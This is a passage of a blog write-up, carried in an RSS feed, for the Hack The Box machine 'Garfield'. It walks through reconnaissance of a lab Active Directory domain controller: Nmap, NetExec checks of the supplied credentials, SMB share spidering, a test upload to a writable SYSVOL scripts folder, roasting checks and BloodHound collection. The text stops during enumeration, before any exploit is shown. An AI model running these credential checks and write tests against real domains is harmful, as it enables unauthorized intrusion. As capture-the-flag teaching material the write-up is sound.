<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Cybersecurity]]></title><description><![CDATA[Cybersecurity]]></description><link>https://natosec.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Fri, 04 Dec 2026 21:25:14 GMT</lastBuildDate><atom:link href="https://natosec.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[HTB: Garfield Writeup]]></title><description><![CDATA[Garfield is a hard-difficulty Windows machine that proves you don’t need a Domain Admin account to make a domain administrator’s day very bad. We start…]]></description><link>https://natosec.hashnode.dev/htb-garfield-writeup</link><guid isPermaLink="true">https://natosec.hashnode.dev/htb-garfield-writeup</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Windows]]></category><category><![CDATA[Active Directory]]></category><category><![CDATA[Privilege Escalation]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[hackthebox-garfield]]></category><dc:creator><![CDATA[Ignatius Ritu]]></dc:creator><pubDate>Sun, 29 Nov 2026 16:48:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/573c4334-3bde-4735-9b10-36f4bd9b0a0f.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Garfield</strong> is a <strong>hard-difficulty Windows machine</strong> that proves you don’t need a Domain Admin account to make a domain administrator’s day very bad.</p>
<p>We start with a set of <em>valid credentials</em> which quickly turns into an investigation involving <em>writable SYSVOL permissions</em>, <em>delegated Active Directory privileges</em>, an <em>unexpected network pivot</em> and a rather <em>interesting Read-Only Domain Controller</em>. Along the way, <em>Kerberos delegation</em>, <em>RODC-specific Golden Tickets</em> and <em>Password Replication Policy weaknesses</em> all play their part in taking the attack from a humble user shell to full domain compromise.</p>
<p>The real challenge isn’t finding one vulnerability; it’s connecting several seemingly unrelated misconfigurations and understanding how they work together. So, let’s follow the breadcrumbs. Garfield has quite a few secrets and apparently, not all of them are buried in the litter box.</p>
<hr />
<h2>About</h2>
<ul>
<li><strong>OS:</strong> Windows</li>
<li><strong>Difficulty:</strong> Hard</li>
<li><strong>Release Date:</strong> 04 Apr, 2026</li>
</ul>
<hr />
<h2>Machine Information</h2>
<ul>
<li>Initial Username — <code>j.arbuckle</code></li>
<li>Initial Password — <code>Th1sD4mnC4t!@1978</code></li>
<li>Target IP Address — <code>10.129.151.33</code></li>
<li>Attacker IP Address — <code>10.10.14.162</code></li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8fa6f610-b93e-42f7-8998-99d9564c3659.png" alt="" style="display:block;margin:0 auto" />

<h2>Workspace Preparation</h2>
<ul>
<li>Before beginning enumeration, a dedicated working directory is created to keep the assessment organized. A separate file is also prepared to store the initial credentials supplied for the machine:</li>
</ul>
<pre><code class="language-sh">mkdir Garfield &amp;&amp; cd Garfield
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/26befe70-5457-4fde-8cc3-a30a08c2656e.png" alt="" style="display:block;margin:0 auto" />

<h2>Connectivity Verification</h2>
<ul>
<li>Before proceeding with service enumeration, the target’s network availability is verified:</li>
</ul>
<pre><code class="language-sh">ping -c 3 10.129.151.33 
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/743740f1-0afc-4e2a-a34e-c7f9546ef3c8.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>All three ICMP Echo Requests receive responses, confirming that the target is reachable over the network.</li>
<li>The <code>ttl=127</code> value is also consistent with a Windows system whose initial TTL is typically <code>128</code>.Although TTL values can provide an operating-system fingerprinting clue, they should not be treated as definitive evidence of the target’s operating system.</li>
</ul>
<h2>Network Enumeration</h2>
<ul>
<li>An initial TCP port scan is performed using Nmap to identify open ports, determine the services running on them and gather additional information about the target:</li>
</ul>
<pre><code class="language-sh">sudo nmap -sCV --reason -oN garfield.nmap 10.129.151.33
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/be47dc19-4128-489d-a8ca-dd460fcb2f11.png" alt="" style="display:block;margin:0 auto" />

<h3>Understanding the Exposed Services</h3>
<ul>
<li><code>Port 53 (DNS)</code> — Handles domain name resolution and DNS-related queries.</li>
<li><code>Port 88 (Kerberos)</code> — Provides domain authentication through the Kerberos protocol.</li>
<li><code>Port 135 (MSRPC)</code> — Supports Windows Remote Procedure Call communication.</li>
<li><code>Port 139 (NetBIOS)</code> — Supports legacy Windows network communication and file sharing.</li>
<li><code>Port 389 (LDAP)</code> — Provides access to Active Directory directory information.</li>
<li><code>Port 445 (SMB)</code> — Supports Windows file sharing and various domain-related operations.</li>
<li><code>Port 464 (Kerberos Password Change)</code> — Handles Kerberos password-change operations.</li>
<li><code>Port 593 (RPC over HTTP)</code> — Provides RPC communication over HTTP.</li>
<li><code>Port 636 (LDAPS)</code> — LDAP over TLS/SSL.</li>
<li><code>Port 2179 (VMRC)</code> — Commonly associated with Hyper-V virtual machine remote access.</li>
<li><code>Port 3268 (Global Catalog LDAP)</code> — Provides forest-wide Active Directory directory searches.</li>
<li><code>Port 3269 (Global Catalog LDAPS)</code> — Secure Global Catalog LDAP communication.</li>
<li><code>Port 3389 (RDP)</code> — Provides remote desktop access to Windows systems.</li>
<li><code>Port 5985 (WinRM)</code> — Provides Windows Remote Management over HTTP.</li>
</ul>
<p>The combination of <strong>DNS</strong>, <strong>Kerberos</strong>, <strong>LDAP</strong>, <strong>SMB</strong> and <strong>Global Catalog services</strong> strongly suggests that the target is an <strong>Active Directory Domain Controller</strong> rather than an ordinary domain-joined workstation.</p>
<h3>Identifying the Domain Controller</h3>
<ul>
<li>Additional information is obtained from the <strong>RDP NTLM information script</strong> with the below important pieces of information:<ul>
<li><strong>Domain Name</strong>: <code>garfield.htb</code></li>
<li><strong>NetBIOS Domain Name</strong>: <code>GARFIELD</code></li>
<li><strong>Computer Name</strong>: <code>DC01</code></li>
<li><strong>Fully Qualified Domain Name (FQDN)</strong>: <code>DC01.garfield.htb</code></li>
<li><strong>Operating System Build</strong>: <code>17763</code>, associated with <code>Windows Server 2019</code></li>
</ul>
</li>
</ul>
<h3>SMB Security Configuration</h3>
<ul>
<li>SMB message signing is enabled and required. This means SMB communications must include message signatures to help protect against tampering and certain <em>adversary-in-the-middle</em> attacks.</li>
</ul>
<h3>Clock Skew Observation</h3>
<ul>
<li>The target’s reported system time is approximately <strong>eight hours</strong> ahead of the attacker’s scanning environment.</li>
<li>This is particularly relevant in Active Directory environments because <strong>Kerberos authentication</strong> relies on <strong>synchronized clocks</strong>. Significant time differences between a client and a domain controller can cause Kerberos authentication failures.</li>
</ul>
<h2>Hosts Management</h2>
<ul>
<li>With the domain name and Domain Controller hostname identified, the next step is to ensure that the attacker’s machine can resolve these names to the target IP address.</li>
<li>Windows Active Directory environments rely heavily on DNS. Many domain-related operations, including Kerberos authentication and LDAP communication, depend on resolving hostnames correctly.</li>
<li>The following <strong>NetExec</strong> command generates a hosts file containing the discovered hostname and IP address information:</li>
</ul>
<pre><code class="language-sh">nxc smb 10.129.151.33 --generate-hosts-file garfield_hosts
</code></pre>
<ul>
<li>The resulting entries are appended to the attacker’s <code>/etc/hosts</code> file:</li>
</ul>
<pre><code class="language-sh">cat garfield_hosts | sudo tee -a /etc/hosts
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d834532f-a6cc-4f0f-b8a5-88d31660f65b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>With the hostname mappings in place, tools can communicate with the Domain Controller using its hostname rather than repeatedly specifying its IP address.</li>
</ul>
<h2>Credential Validation and Authentication Testing</h2>
<ul>
<li>The initial credentials supplied for the machine are tested against the available network services before proceeding with deeper Active Directory Enumeration.</li>
<li>This helps establish which authentication mechanisms are accessible and whether the account has permission to use particular remote management services.</li>
<li><strong>NetExec</strong> is used to validate the credentials against <em><strong>SMB, LDAP, WinRM</strong></em> and <em><strong>RDP.</strong></em></li>
</ul>
<h3>SMB Authentication</h3>
<ul>
<li>The first authentication test targets the SMB service running on port <code>445</code>:</li>
</ul>
<pre><code class="language-sh">nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
</code></pre>
<ul>
<li>Authentication is successful. This establishes that the account can successfully authenticate to the Domain Controller over SMB. However, successful authentication does not automatically imply administrative privileges or unrestricted access to SMB resources.</li>
</ul>
<h3>LDAP Authentication</h3>
<ul>
<li>Since LDAP is the primary directory access protocol used by Active Directory, the credentials are also tested against LDAP service on port <code>389</code>:</li>
</ul>
<pre><code class="language-sh">nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
</code></pre>
<ul>
<li>Authentication is successful. This confirms that the account can authenticate to the Active Directory directory service.</li>
<li>Active Directory stores information about users, groups, computers, organizational units and security permissions in its directory. Consequently, authenticated LDAP access provides an opportunity to investigate the domain’s structure and identify potentially misconfigured objects and permissions.</li>
</ul>
<h3>WinRM Authentication</h3>
<ul>
<li>The next service tested is Windows Remote Management (WinRM), exposed on TCP port <code>5985</code>:</li>
</ul>
<pre><code class="language-sh">nxc winrm DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
</code></pre>
<ul>
<li>WinRM provides remote management capabilities and allow authenticated users to obtain an interactive PowerShell session when the appropriate permissions are assigned.</li>
<li>Unlike SMB and LDAP, the WinRM authentication attempt fails.</li>
<li>This does not necessarily indicate that the password is incorrect. The same credentials have already been successfully validated against two other services.</li>
<li>A more likely explanation is that the account does not have the necessary permissions to access WinRM on the Domain Controller.</li>
<li>For WinRM access, a user generally needs to be authorized through the appropriate remote management permissions, such as membership in the <em><strong>Remote Management Users</strong></em> or <em><strong>Administrators</strong></em> group or an equivalent authorization configuration.</li>
<li>Therefore, the failed authentication should be interpreted as a limitation in the account’s current remote management access rather than evidence of invalid credentials.</li>
</ul>
<h3>RDP Authentication</h3>
<ul>
<li>Finally, the credentials are tested against Remote Desktop Protocol (RDP), which is exposed on TCP port <code>3389</code>:</li>
</ul>
<pre><code class="language-sh">nxc rdp DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
</code></pre>
<ul>
<li>Authentication is successful. An important distinction exists between successful credential validation and obtaining an interactive desktop session. The <strong>NetExec</strong> result confirms successful RDP authentication, but a full interactive login verified separately using RDP client, is unsuccessful.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/743f772c-1e80-4382-b46a-093f7de76751.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The initial credentials are valid and provide authenticated access to both SMB and LDAP, as well as successful RDP authentication. However, WinRM access is not currently available.</li>
</ul>
<blockquote>
<p>NOTE: You should be able to distinguish between service-level authentication and the permissions required to establish interactive sessions.</p>
</blockquote>
<h2>SMB Share Enumeration</h2>
<ul>
<li>With the initial credentials validated, the next step is to examine the SMB shares exposed by the Domain Controller. SMB shares can contain useful information such as logon scripts, Group Policy configurations, deployment files and occasionally credentials inadvertently left behind by administrators.</li>
<li><strong>NetExec</strong> is used to enumerate the available shares and identify which ones the current account can access.</li>
</ul>
<h3>Enumerating SMB shares</h3>
<pre><code class="language-sh">nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --shares
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/42e73326-02d2-4cd6-8e92-d6cda1eb5730.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Five SMB shares are identified:<ul>
<li><code>ADMIN$</code>: An administrative share that provides access to the Windows directory. It is generally restricted to administrators.</li>
<li><code>C$</code>: The default administrative share providing access to the system’s <code>C:</code> drive.</li>
<li><code>IPC$</code>: Used for inter-process communication and certain remote management operations.</li>
<li><code>NETLOGON</code>: A domain share commonly used to distribute logon scripts and other domain-related resources.</li>
<li><code>SYSVOL</code>: A shared directory used by Domain Controllers to distribute domain-wide files, including Group Policy templates and scripts.</li>
</ul>
</li>
<li>The account has reported read access to <code>IPC$</code>, <code>NETLOGON</code> and <code>SYSVOL</code>. No permissions are displayed for <code>ADMIN$</code> and <code>C$</code>, suggesting that the account does not have ordinary share access through the tested credentials.</li>
<li>Of particular interest are the <code>NETLOGON</code> and <code>SYSVOL</code> shares. Both can contain scripts and configuration files that provide valuable information about the domain environment.</li>
</ul>
<h3>Spidering SMB Shares</h3>
<ul>
<li>Manually browsing every accessible directory can become time-consuming particularly when dealing with larger Active Directory environments.</li>
<li>To automate this process, <strong>NetExec</strong> provides the <code>spider_plus</code> module, which recursively enumerates accessible SMB shares and collects metadata about discovered files and directories:</li>
</ul>
<pre><code class="language-sh">nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M spider_plus
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/9a1f1776-9e87-468e-833a-cd8b2924933b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The enumeration identifies <em>3 readable shares</em>, containing a total of <em>20 directories</em> and <em>8 files</em>.</li>
<li>More importantly, the module saves the discovered file metadata in a <strong>JSON file</strong>. This allows the results to be inspected without repeatedly querying the Domain Controller:</li>
</ul>
<pre><code class="language-sh">cat /home/nato/.nxc/modules/nxc_spider_plus/10.129.151.33.json
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/b0b2b0e8-1bc6-40a8-b3ba-8e6477202ff0.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The same script <code>printerDetect.bat</code> appears in both <code>NETLOGON</code> and the domain’s <code>SYSVOL</code> scripts directory. The presence of the smae script in both locations suggest that it may be maintained or distributed through the domain’s shared directories.</li>
<li>However, the actual contents and permissions of the directories still need to be investigated.</li>
</ul>
<h3>NETLOGON Share Enumeration</h3>
<ul>
<li>The <code>NETLOGON</code> share is examined first to determine whether the discovered batch script contains useful information.</li>
<li>The <code>smbclient</code> utility provides an interactive and command-line interface for accessing SMB shares.</li>
<li>The following command lists the contents of the <code>NETLOGON</code> share:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/NETLOGON -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls'
</code></pre>
<ul>
<li>The directory contains only one visible file, <code>printerDetect.bat</code>.</li>
<li>The script is downloaded for inspection:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/NETLOGON -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'get printerDetect.bat'
</code></pre>
<ul>
<li>The script is a Windows batch file that uses <strong>Windows Remote Management Instrumentation Command-line (WMIC)</strong> to retrieve information about installed printers.</li>
<li>Nothing immediately interesting appears in the script.</li>
</ul>
<h3>Testing NETLOGON Write Permissions</h3>
<ul>
<li>A small test file is created locally to determine whether the authenticated account can upload files to the share:</li>
</ul>
<pre><code class="language-sh">echo "PWNED" &gt; pwn.txt
</code></pre>
<ul>
<li>The file is then uploaded:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/NETLOGON -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'put pwn.txt pwn.txt'
</code></pre>
<ul>
<li>The upload fails with <code>NT_STATUS_ACCESS_DENIED</code>, confirming that the account cannot create the test file in the root of the <code>NETLOGON</code> share.</li>
<li>A subsequent directory listing confirms that the share remains unchanged:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/NETLOGON -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8bfab0bc-17f8-4704-843c-6020922ab112.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The result establishes an important distinction: the account has read access to <code>NETLOGON</code>, but does not have permission to write files to its root directory.</li>
</ul>
<h3>SYSVOL Share Enumeration</h3>
<ul>
<li>Unlike <code>NETLOGON</code>, the <code>SYSVOL</code> share contains <em>domain-wide configuration files</em>, <em>Group Policy data</em> and <em>scripts</em> that may be processed by domain-joined systems.</li>
<li>Because these files can influence how domain computers and users behave, incorrect permissions on <code>SYSVOL</code> can have serious security implications.</li>
<li>The initial directory structure is enumerated using <code>smbclient</code>:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls'
</code></pre>
<ul>
<li>The share contains a directory name <code>garfield.htb</code>, which corresponds to the Active Directory domain.</li>
<li>The next command explores this directory:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb\'
</code></pre>
<ul>
<li>Three notable directories are identified:<ul>
<li><code>DfsrPrivate</code>: Associated with <strong>Distributed File System Replication (DFSR)</strong>, which is used to replicate <code>SYSVOL</code> data between Domain Controllers.</li>
<li><code>Policies</code>: Contains Group Policy data used to configure users and computers within the domain.</li>
<li><code>scripts</code>: Contains domain-related scripts, including the previously discovered <code>printerDetect.bat</code>.</li>
</ul>
</li>
<li>The <code>scripts</code> directory becomes particularly interesting because it contains the same batch file discovered earlier in <code>NETLOGON</code>.</li>
<li>Its contents are enumerated:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb\scripts\'
</code></pre>
<ul>
<li>The directory currently contains only <code>printerDetect.bat</code>.</li>
</ul>
<h3>Testing SYSVOL Write Permissions</h3>
<ul>
<li>The previously created test file is uploaded:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'put pwn.txt garfield.htb\scripts\pwn.txt'
</code></pre>
<ul>
<li>Unlike the previous attempt, the upload succeeds.</li>
<li>The directory is inspected again to confirm that the file was created:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb\scripts\'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/3f132e15-6e5e-4b72-874f-8ee2dbbcb4c6.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The presence of <code>pwn.txt</code> confirms that the initial domain account can create files in the <code>SYSVOL\garfield.htb\scripts</code> directory.</li>
<li>Although the account has only read access to the <code>NETLOGON</code> share, it can write a directory within <code>SYSVOL</code>. This demonstrates why share-level permission summaries should not be treated as a complete representation of the effective access; permissions may differ at the individual directory of file level.</li>
</ul>
<h3>Cleaning Up the Test File</h3>
<ul>
<li>Since the test has established that the directory is writable, the temporary file is removed to avoid leaving unnecessary artifacts on the target:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'del garfield.htb\scripts\pwn.txt'
</code></pre>
<ul>
<li>The directory is then checked again to verify deletion:</li>
</ul>
<pre><code class="language-sh">smbclient //DC01.garfield.htb/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'ls garfield.htb\scripts\'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/5608fcd8-4e70-46a9-bdf3-0f827abd8241.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The writable <strong>SYSVOL</strong> scripts directory is an important discovery to retain for subsequent investigation.</li>
</ul>
<h2>Active Directory User Enumeration</h2>
<ul>
<li>With SMB enumeration complete, the attention shifts to identifying the domain accounts that exist within Garfield.</li>
<li><strong>User enumeration</strong> is an essential part of an Active Directory assessment because user accounts may expose useful information through their <em>descriptions</em>, <em>group memberships</em>, <em>delegated permissions</em>, <em>service principal names</em> and other directory attributes.</li>
<li>Since LDAP authentication has already been confirmed, <strong>NetExec</strong> can be used to retrieve domain user information.</li>
</ul>
<h3>Enumerating Domain Users</h3>
<ul>
<li>The following command queries <strong>LDAP</strong> for domain user accounts:</li>
</ul>
<pre><code class="language-sh">nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --users
</code></pre>
<ul>
<li>Of the seven domain accounts, <code>krbtgt_8245</code> is particularly interesting because its description identifies it as a Kerberos service account for a <strong>Read-Only Domain Controller (RODC)</strong>.</li>
<li>Also, <code>l.wilson_adm</code> reports two failed password attempts on the <code>BadPW</code> column. This indicates that two unsuccessful authentication attempts have been recorded for the account.</li>
</ul>
<h3>Exporting Domain Users</h3>
<ul>
<li>For easier reference during subsequent enumeration, the discovered usernames are exported into a local text file:</li>
</ul>
<pre><code class="language-sh">nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --users-export garfield_users.txt
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/99dca094-1416-4766-9c5d-7af9b96229d6.png" alt="" style="display:block;margin:0 auto" />

<h2>Active Directory Computer Enumeration</h2>
<ul>
<li>In addition to users, identifying domain-joined computers provides insight into the structure of the Active Directory environment:</li>
</ul>
<pre><code class="language-sh">nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --computers
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e89d5b96-13d5-4175-b136-98794be2776b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Two computer accounts are identified:<ul>
<li><code>DC01$</code></li>
<li><code>RODC01$</code></li>
</ul>
</li>
<li>The trailing <code>$</code> character is the standard naming convention for Active Directory computer accounts.</li>
<li>The first account, <code>DC01$</code>, corresponds to the Domain Controller already identified during the initial <strong>Nmap</strong> scan.</li>
<li>The second account, <code>RODC01$</code>, is particularly significant. Its name suggest the presence of a <strong>Read-Only Domain Controller (RODC)</strong> within the environment.</li>
<li>An <strong>RODC</strong> is a specialized type of Domain Controller designed to provide authentication and directory services in locations where a traditional writable Domain Controller may not be desirable.</li>
<li>Unlike writable Domain Controllers, <strong>RODCs</strong> maintain a read-only copy of the Active Directory database. Their design is intended to reduce the risk associated with deploying Domain Controllers in less physically secure locations.</li>
<li><strong>RODCs</strong> also introduce specific security mechanisms, including:<ul>
<li><em>Password Replication Policies (PRPs).</em></li>
<li><em>RODC-specific Kerberos accounts.</em></li>
<li><em>Credential caching restrictions.</em></li>
<li><em>Delegation and authentication controls.</em></li>
</ul>
</li>
<li>The discovery of <code>RODC01$</code>, together with earlier discovery of <code>krbtgt_8245</code>, provides a strong indication that <strong>RODC-related</strong> functionality will be relevant to the subsequent attack chain.</li>
</ul>
<h2>Additional Active Directory Enumeration</h2>
<h3>AD CS Enumeration</h3>
<ul>
<li><strong>Active Directory Certificate Services (AD CS)</strong> is a Microsoft’s <strong>Public Key Infrastructure (PKI)</strong> implementation for issuing and managing digital certificates with an Active Directory environment.</li>
<li>Misconfigured certificate templates and enrollment permissions can create opportunities for privilege escalation, including scenarios where low-privileged users can obtain certificates that allow them to authenticate as more privileged accounts.</li>
<li><strong>NetExec</strong> provides an <strong>AD CS</strong> enumeration module that searches Active Directory for <em>certificate enrollment services</em>:</li>
</ul>
<pre><code class="language-sh">nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M adcs
</code></pre>
<h3>Kerberoastable User Enumeration</h3>
<ul>
<li><strong>Kerberoasting</strong> is an Active Directory attack technique that targets accounts associated with <strong>Service Principal Names (SPNs)</strong>.</li>
<li>When a domain account has an <strong>SPN</strong> registered, an authenticated domain user can request a Kerberos service ticket for that account. Depending on the encryption type and account password strength, the ticket can potentially be subjected to offline password cracking.</li>
<li><strong>NetExec</strong> can identify <strong>Kerberoastable accounts</strong> and request the corresponding service tickets:</li>
</ul>
<pre><code class="language-sh">nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --kerberoast kerberoast
</code></pre>
<ul>
<li>The enumeration returns <strong>zero</strong> Kerberoastable records.</li>
</ul>
<h3>AS-REP Roastable User Enumeration</h3>
<ul>
<li>This technique targets domain accounts configured with the <strong>Do not require Kerberos preauthentication</strong> option.</li>
<li>Under normal Kerberos authentication, clients must provide preauthentication data before the Key Distribution Center issues an authentication response.</li>
<li>When preauthentication is disabled for an account, an <strong>unauthenticated party</strong> may be able to request an <strong>AS-REP response</strong> containing material that can be subjected to offline password cracking.</li>
<li><strong>NetExec</strong> can check for accounts with this configuration:</li>
</ul>
<pre><code class="language-sh">nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --asreproast asreproast
</code></pre>
<ul>
<li>No accounts matching the AS-REP Roasting criteria are identified.</li>
</ul>
<h3>Group Managed Service Account Enumeration</h3>
<ul>
<li><strong>Group Managed Service Accounts (gMSAs)</strong> are specialized Active Directory accounts designed to simplify service account password management.</li>
<li>Unlike traditional service accounts, <strong>gMSAs</strong> support automatic password management by Active Directory. Their passwords are periodically generated and managed by the domain, reducing the need for administrators to manually maintain service account credentials.</li>
<li>However, access to a <strong>gMSA</strong>’s managed password must still be controlled carefully. Users or computers with excessive permissions to retrieve these passwords may be able to obtain credentials that expose privileged services.</li>
<li><strong>NetExec</strong> provides functionality for checking whether the authenticated account can retrieve <strong>gMSA password</strong> information:</li>
</ul>
<pre><code class="language-sh">nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --gmsa
</code></pre>
<ul>
<li>No credentials were captured.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/7218d311-3700-41a9-8ca6-d19993d206b3.png" alt="" style="display:block;margin:0 auto" />

<h2>Network Interface Enumeration</h2>
<ul>
<li><strong>Network interface</strong> information can provide additional insight into the machine’s network configuration, including multiple network segments, internal addresses and potentially isolated network interfaces.</li>
<li><strong>NetExec</strong> can retrieve this information through SMB:</li>
</ul>
<pre><code class="language-sh">nxc smb DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --interfaces
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1b68793b-cdd2-40ea-855f-4aa4c7404399.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Two interfaces are discovered:<ul>
<li>The first interface contains the target’s previously identified IPv4 address <code>10.129.151.33</code>. This is the address used to access the Domain Controller from the attacker machine.</li>
<li>The second interface contains a different IPv4 address <code>192.168.100.1</code>. This address indicates that the Domain Controller has an interface configured on a different network segment.</li>
<li>The presence of multiple network interfaces can indicate that a system participates in more than one network. In Active Directory environments, this may be relevant when investigating internal infrastructure, routing and communication between different network segments.</li>
</ul>
</li>
</ul>
<h2>Active Directory Enumeration</h2>
<h3>RustHound-CE</h3>
<ul>
<li>To obtain a broader picture of the domain, <strong>RustHound-CE</strong> is used to collect Active Directory information:</li>
</ul>
<pre><code class="language-sh">rusthound-ce -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -z
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/312faa8a-2f97-4f10-a26f-e19a50605a1b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The collection produces an archive containing the gathered Active Directory data. This archive can now be imported into <strong>BloodHound</strong> for <em>relationship analysis</em>.</li>
</ul>
<h3>BloodHound</h3>
<ul>
<li>BloodHound provides a graphical representation of Active Directory objects and their relationships. It is particularly useful for identifying permissions that may not be immediately obvious from basic user and group enumeration.</li>
<li>Starting BloodHound:</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1b7a0f8c-0a53-4413-8767-ed0f3dc81445.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>Log in to <strong>BloodHound</strong>, upload the archive generated by <strong>RustHound-CE</strong> and allow the <em>ingestion</em> process to finish before exploring the collected data.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/c1663e6a-7f46-43da-9c0b-ad0b852588a6.png" alt="" style="display:block;margin:0 auto" />

<h3>Examining J.ARBUCKLE</h3>
<ul>
<li>The graph show that <code>J.ARBUCKLE</code> is a member of:<ul>
<li><code>IT SUPPORT</code></li>
<li><code>DOMAIN USERS</code></li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/133f822e-6cb9-4f69-a649-ed76737809a2.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The <code>inbound Object Control</code> relationships do not reveal anything particularly interesting.</li>
<li>However, membership in <code>IT SUPPORT</code> becomes significant when examining the permissions associated with the group.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/eb9d47e8-5129-4976-94cf-ffe3ea36222b.png" alt="" style="display:block;margin:0 auto" />

<h3>Examining L.WILSON</h3>
<ul>
<li>The account belongs to:<ul>
<li><code>DOMAIN USERS</code></li>
<li><code>REMOTE MANAGEMENT USERS</code></li>
<li><code>REMOTE DESKTOP USERS</code></li>
</ul>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/4747c049-1ca0-41e9-b0e0-57deb8f8013a.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The important finding appears under <code>Outbound Object Control</code>:</li>
